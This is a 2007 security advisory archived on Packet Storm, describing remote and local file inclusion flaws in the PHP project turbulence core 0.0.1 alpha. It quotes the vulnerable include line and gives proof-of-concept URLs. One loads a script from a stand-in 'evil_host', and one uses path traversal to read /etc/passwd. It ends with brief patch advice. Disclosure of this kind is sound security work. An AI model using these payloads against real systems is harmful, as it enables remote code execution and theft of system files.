what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

turbulence-rfi.txt

turbulence-rfi.txt
Posted Apr 24, 2007
Authored by Omnipresent

turbulence core version 0.0.1 alpha suffers from remote file inclusion and local file inclusion vulnerabilities.

tags | exploit, remote, local, vulnerability, code execution, file inclusion
SHA-256 | e30c71c88effdaac4c0b9cd2265624e82a25c78401430fabf981e626fa2f6113

turbulence-rfi.txt

Change Mirror Download
  .      .        .  
._ | _. .|_ _. _.;_/
[_)|(_]\_|[ )(_](_.| \.net
| ._|
"turbulence core.0.0.1-alpha - REMOTE FILE INCLUSION"
by Omni

1) Infos
---------
Date : 2007-04-20
Product : turbulence core
Version : 0.0.1 alpha
Vendor : http://sourceforge.net/projects/turbulence
Vendor Status : 2007-04-20 -> Not Informed!
2007-04-21 -> Vendor Informed!

Description : PHP Turbulence is a suite of PHP scripts that work together in unison. They do not require one another
to be present, but work perfect together. The intent of the project is to eliminate the need to download
a PHP message board, PHP news, PHP user managment.

Source : omnipresent - omni
E-mail : omnipresent @ email . it - omni @ playhack . net
Team : Playhack.net Security

2) Security Issues
-------------------

--- [ Remote File Inclusion Vulnerability ] ---
===============================================

[ /user/turbolence.php - Line 34 - 39 ]

[...]

$tdbconn = tdb_connect($GLOBALS['tdb']);
if (!$tdbconn) decho("Database Connection Failed...");
decho("Database Connection: ".$tdbconn);
include($GLOBALS['tcore'].'/user/session.inc');

if ($GLOBALS['login']) {

[...]

[ end script turbolence.php ]

As you can see the variable $GLOBALS['tcode'] is not properly sanitized before being used; so an attacker can gain access
to the shell by using a crafted URL.

--- [ PoC ] ---
===============

Tested on a php.ini configuration as the follow:

register_global = On
allow_url_unclude = On

RFI:

http://127.0.0.1/user/turbulence.php?GLOBALS[tcore]=http://evil_host/evil_script.txt?

LFI:

http://127.0.0.1/turbulence.php?GLOBALS[tcore]=../../../../../../../../../../../../etc/passwd%00


---- [ Patch ] ----

1. Edit the source code to ensure that the input is validated.
2. To avoid Remote File Inclusion turn Off allow_url_include.






Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close